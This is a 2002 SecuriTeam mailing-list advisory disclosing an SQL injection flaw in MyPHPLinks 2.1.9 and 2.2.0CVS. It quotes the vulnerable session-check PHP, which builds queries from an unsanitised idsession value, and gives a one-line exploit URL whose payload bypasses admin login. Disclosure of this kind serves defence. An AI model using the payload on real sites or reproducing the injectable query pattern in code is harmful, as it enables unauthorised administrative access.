[UNIX] MyPHPLinks Vulnerable to SQL Injection

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From: support@securiteam.com
To: list@securiteam.com
Date: 15 Dec 2002 23:21:39 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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  MyPHPLinks Vulnerable to SQL Injection
------------------------------------------------------------------------

SUMMARY

 <http://www.myphpsoft.net/projets/myphplinks/> MyPHPLinks is a PHP engine
that creates a web site enviroment very similar to Yahoo's. A security
vulnerability in the product allows remote attackers to gain
administrative privileges through an SQL inection attack.

DETAILS

Vulnerable systems:
 * MyPHPLinks version 2.1.9
 * MyPHPLinks version 2.2.0CVS

Vulnerable code:
admin/auth/checksession.php
---------------------------------------------------------------
[...]
if($idsession!=''){
$dbs = new data(0,$MyPHPLinksHote, $MyPHPLinksBase, $MyPHPLinksUser,
$MyPHPLinksPass);
if(!$dbs->connect())
  die($dbs->error);
if(!$dbs->query("select count(*) as nb from ".$MyPHPLinksTBAuth." where
session='".$idsession."' and timesession > now()"))
  die($dbs->error);
while($dbs->nextrecord()){
  $loginauth = $dbs->valeur("nb");
}
if ($loginauth==0){
  header("Location:$MyPHPLinksAuthPErrDef");exit;
}else{
  if(!$dbs->query("UPDATE ".$MyPHPLinksTBAuth." set
timesession=now()+".$MyPHPLinksTLSession." where
session='".$idsession."'"))
   die($dbs->error);
}
}else{
header("Location:$MyPHPLinksAuthPErrDef");exit;
}
?>
---------------------------------------------------------------

Exploit:
http://[target]/admin/index.php?idsession='%20OR%20''='

ADDITIONAL INFORMATION

The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
Man.

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